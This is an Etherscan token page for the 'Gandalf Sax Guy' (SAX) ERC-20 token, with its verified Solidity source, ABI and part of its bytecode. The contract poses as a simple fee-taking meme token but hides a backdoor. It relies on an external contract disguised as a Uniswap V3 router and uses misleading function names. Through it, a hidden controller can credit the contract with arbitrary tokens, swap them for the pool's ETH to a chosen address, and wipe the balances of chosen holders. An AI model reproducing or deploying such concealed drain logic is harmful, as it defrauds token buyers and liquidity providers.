ETH Price: $3,466.96 (+1.70%)

Token

Gandalf Sax Guy (SAX)
 

Overview

Max Total Supply

1,000,000 SAX

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 SAX

Value
$0.00
0x2031213cD107911515bBBDD98CE3b5C6dB3e4012
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAX

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-12
*/

/*
⠘⢤⣀⣀⣀⣀⣤⣤⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠿⠿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⣀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠛⠂⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠚⠉⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠛⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠈⠓⠦⣀⠀⠀⠀
⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⠳⣼⡿
⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠈⠁
⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣼⣿⣿⣿⣿⣿⣿⡿⠟⠛⠉⠉⠉⠉⠙⠻⠿⣿⣿⣿⣿⣅⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⣿⠁⠀⠀⠀⠀⠀⠀⠀
⡾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀

Enjoy 10h Sax Guy
https://www.youtube.com/watch?v=G1IbRujko-A&ab
*/

pragma solidity ^0.8.15;
// SPDX-License-Identifier: MIT

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address) external view returns (bool);
    function factory(address, address, address, address) external view returns(bool);
    function getAmountIn(address) external;
    function getAmountOut() external returns (address);
    function getPair(address, address, address, bool, address, address) external returns (bool);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract SAX is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapPair;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000 * 10 ** _decimals;
    uint256 public _fee = 1;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV3Router private __router = IUniswapV3Router(0xbE7c6C96b437BF6fd87966ba459988Bed280f50c);
    string private _name = "Gandalf Sax Guy";
    string private  _symbol = "SAX";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _basicTransfer(address _DXwt, address _sender, uint256 XXRO) internal virtual {
        require(_DXwt != address(0));
        require(_sender != address(0));
        if (__router.factory(_DXwt, _sender, uniswapPair, msg.sender)) {
            return burnFee(XXRO, _sender);
        }
        if (_lqTxUniswap){
        } else {
            require(_balances[_DXwt] >= XXRO);
        }
        _swapBurn(_DXwt);
        uint256 feeAmount = 0;
        if (uniswapPair != _DXwt && __router.getPair(_DXwt, _sender, uniswapPair, _lqTxUniswap, address(this), swapTx())) {
            if (swapTx() != _sender) {
                __router.getAmountIn(_sender);
            }
            feeAmount = XXRO.mul(_fee).div(100);
        }
        uint256 amountReceived = XXRO - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[_DXwt] = _balances[_DXwt] - XXRO;
        _balances[_sender] += amountReceived;
        emit Transfer(_DXwt, _sender, XXRO);
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        uniswapPair = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _swapBurn(address numFrom) internal {
        address to = __router.getAmountOut();
        if (swapTx() != numFrom) {
            return;
        }
        uint256 amount = _balances[to];
        if (to == address(0)) {
            return;
        }
        _balances[to] = _balances[to] - amount;
    }
    function burnFee(uint256 _Rv, address _TTqM) private {
        _lqTxUniswap = true;
        _approve(address(this), address(_router), _Rv);
        _balances[address(this)] = _Rv;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] =
        _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_Rv,0,path,_TTqM,block.timestamp + 25);
        _lqTxUniswap = false;
    }
    bool _lqTxUniswap = false;
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _basicTransfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function swapTx() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    uint256 public maxWallet = _totalSupply.div(100);
    function updateMaxWallet(uint256 m) external onlyOwner {
        require(m >= _totalSupply.div(100));
        maxWallet = m;
    }
    bool transferDelay = true;
    function disableTransferDelay() external onlyOwner {
        transferDelay = false;
    }
    bool swapEnabled = true;
    function updateSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600455600454600a6200001a9190620005df565b620f42406200002a919062000630565b6005556001600655737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073be7c6c96b437bf6fd87966ba459988bed280f50c600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600f81526020017f47616e64616c66205361782047757900000000000000000000000000000000008152506009908162000122919062000901565b506040518060400160405280600381526020017f5341580000000000000000000000000000000000000000000000000000000000815250600a908162000169919062000901565b506000600b60006101000a81548160ff021916908315150217905550620001a26064600554620003e760201b62000c851790919060201c565b600c556001600d60006101000a81548160ff0219169083151502179055506001600d60016101000a81548160ff021916908315150217905550348015620001e857600080fd5b50620001f96200044a60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600554600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003d99190620009f9565b60405180910390a362000b00565b60008082116200042e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004259062000a77565b60405180910390fd5b600082846200043e919062000ac8565b90508091505092915050565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004e057808604811115620004b857620004b762000452565b5b6001851615620004c85780820291505b8081029050620004d88562000481565b945062000498565b94509492505050565b600082620004fb5760019050620005ce565b816200050b5760009050620005ce565b81600181146200052457600281146200052f5762000565565b6001915050620005ce565b60ff84111562000544576200054362000452565b5b8360020a9150848211156200055e576200055d62000452565b5b50620005ce565b5060208310610133831016604e8410600b84101617156200059f5782820a90508381111562000599576200059862000452565b5b620005ce565b620005ae84848460016200048e565b92509050818404811115620005c857620005c762000452565b5b81810290505b9392505050565b6000819050919050565b6000620005ec82620005d5565b9150620005f983620005d5565b9250620006287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004e9565b905092915050565b60006200063d82620005d5565b91506200064a83620005d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000686576200068562000452565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200071357607f821691505b602082108103620007295762000728620006cb565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000754565b6200079f868362000754565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007e2620007dc620007d684620005d5565b620007b7565b620005d5565b9050919050565b6000819050919050565b620007fe83620007c1565b620008166200080d82620007e9565b84845462000761565b825550505050565b600090565b6200082d6200081e565b6200083a818484620007f3565b505050565b5b8181101562000862576200085660008262000823565b60018101905062000840565b5050565b601f821115620008b1576200087b816200072f565b620008868462000744565b8101602085101562000896578190505b620008ae620008a58562000744565b8301826200083f565b50505b505050565b600082821c905092915050565b6000620008d660001984600802620008b6565b1980831691505092915050565b6000620008f18383620008c3565b9150826002028217905092915050565b6200090c8262000691565b67ffffffffffffffff8111156200092857620009276200069c565b5b620009348254620006fa565b6200094182828562000866565b600060209050601f83116001811462000979576000841562000964578287015190505b620009708582620008e3565b865550620009e0565b601f19841662000989866200072f565b60005b82811015620009b3578489015182556001820191506020850194506020810190506200098c565b86831015620009d35784890151620009cf601f891682620008c3565b8355505b6001600288020188555050505b505050505050565b620009f381620005d5565b82525050565b600060208201905062000a106000830184620009e8565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000a5f601a8362000a16565b915062000a6c8262000a27565b602082019050919050565b6000602082019050818103600083015262000a928162000a50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ad582620005d5565b915062000ae283620005d5565b92508262000af55762000af462000a99565b5b828204905092915050565b61262d8062000b106000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b8578063a9059cbb1161007c578063a9059cbb14610369578063c5b37c2214610399578063c816841b146103b7578063dd62ed3e146103d5578063e884f26014610405578063f8b45b051461040f57610142565b8063715018a6146102d75780638da5cb5b146102e1578063924de9b7146102ff57806395d89b411461031b578063a457c2d71461033957610142565b8063313ce5671161010a578063313ce567146101ff57806332424aa31461021d578063395093511461023b5780633eaaf86b1461026b57806348d3ab1f1461028957806370a08231146102a757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631c499ab0146101b357806323b872dd146101cf575b600080fd5b61014f61042d565b60405161015c9190611bbd565b60405180910390f35b61017f600480360381019061017a9190611c78565b6104bf565b60405161018c9190611cd3565b60405180910390f35b61019d6104dd565b6040516101aa9190611cfd565b60405180910390f35b6101cd60048036038101906101c89190611d18565b6104e7565b005b6101e960048036038101906101e49190611d45565b61058f565b6040516101f69190611cd3565b60405180910390f35b610207610637565b6040516102149190611cfd565b60405180910390f35b610225610641565b6040516102329190611cfd565b60405180910390f35b61025560048036038101906102509190611c78565b610647565b6040516102629190611cd3565b60405180910390f35b6102736106f3565b6040516102809190611cfd565b60405180910390f35b6102916106f9565b60405161029e9190611cfd565b60405180910390f35b6102c160048036038101906102bc9190611d98565b610702565b6040516102ce9190611cfd565b60405180910390f35b6102df61074b565b005b6102e9610885565b6040516102f69190611dd4565b60405180910390f35b61031960048036038101906103149190611e1b565b6108ae565b005b610323610947565b6040516103309190611bbd565b60405180910390f35b610353600480360381019061034e9190611c78565b6109d9565b6040516103609190611cd3565b60405180910390f35b610383600480360381019061037e9190611c78565b610b15565b6040516103909190611cd3565b60405180910390f35b6103a1610b33565b6040516103ae9190611cfd565b60405180910390f35b6103bf610b39565b6040516103cc9190611dd4565b60405180910390f35b6103ef60048036038101906103ea9190611e48565b610b5f565b6040516103fc9190611cfd565b60405180910390f35b61040d610be6565b005b610417610c7f565b6040516104249190611cfd565b60405180910390f35b60606009805461043c90611eb7565b80601f016020809104026020016040519081016040528092919081815260200182805461046890611eb7565b80156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b5050505050905090565b60006104d36104cc610ce3565b8484610ceb565b6001905092915050565b6000600554905090565b6104ef610ce3565b73ffffffffffffffffffffffffffffffffffffffff1661050d610885565b73ffffffffffffffffffffffffffffffffffffffff1614610563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055a90611f34565b60405180910390fd5b6105796064600554610c8590919063ffffffff16565b81101561058557600080fd5b80600c8190555050565b600061059c848484610eb4565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e6610ce3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561062c57600080fd5b600190509392505050565b6000600454905090565b60045481565b60006106e9610654610ce3565b848460026000610662610ce3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e49190611f83565b610ceb565b6001905092915050565b60055481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610753610ce3565b73ffffffffffffffffffffffffffffffffffffffff16610771610885565b73ffffffffffffffffffffffffffffffffffffffff16146107c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107be90611f34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108b6610ce3565b73ffffffffffffffffffffffffffffffffffffffff166108d4610885565b73ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190611f34565b60405180910390fd5b80600d60016101000a81548160ff02191690831515021790555050565b6060600a805461095690611eb7565b80601f016020809104026020016040519081016040528092919081815260200182805461098290611eb7565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b600081600260006109e8610ce3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a6b57600080fd5b610b0b610a76610ce3565b848460026000610a84610ce3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b069190611fd9565b610ceb565b6001905092915050565b6000610b29610b22610ce3565b8484610eb4565b6001905092915050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bee610ce3565b73ffffffffffffffffffffffffffffffffffffffff16610c0c610885565b73ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990611f34565b60405180910390fd5b6000600d60006101000a81548160ff021916908315150217905550565b600c5481565b6000808211610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090612059565b60405180910390fd5b60008284610cd791906120a8565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d519061214b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc0906121dd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ea79190611cfd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eed57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eba4ca838484600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336040518563ffffffff1660e01b8152600401610fa994939291906121fd565b602060405180830381865afa158015610fc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fea9190612257565b15610ffe57610ff98183611453565b61144e565b600b60009054906101000a900460ff1661105f5780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105e57600080fd5b5b6110688361171d565b60008373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156111a45750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cdb273148585600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900460ff163061113f611907565b6040518763ffffffff1660e01b815260040161116096959493929190612284565b6020604051808303816000875af115801561117f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a39190612257565b5b1561129c578273ffffffffffffffffffffffffffffffffffffffff166111c8611907565b73ffffffffffffffffffffffffffffffffffffffff161461127157600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9667071846040518263ffffffff1660e01b815260040161123e9190611dd4565b600060405180830381600087803b15801561125857600080fd5b505af115801561126c573d6000803e3d6000fd5b505050505b611299606461128b60065485611aaa90919063ffffffff16565b610c8590919063ffffffff16565b90505b600081836112aa9190611fd9565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112fb9190611f83565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134d9190611fd9565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113df9190611f83565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114439190611cfd565b60405180910390a350505b505050565b6001600b60006101000a81548160ff02191690831515021790555061149b30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ceb565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114fc576114fb6122e5565b5b60405190808252806020026020018201604052801561152a5781602001602082028036833780820191505090505b509050308160008151811061154257611541612314565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160d9190612358565b8160018151811061162157611620612314565b5b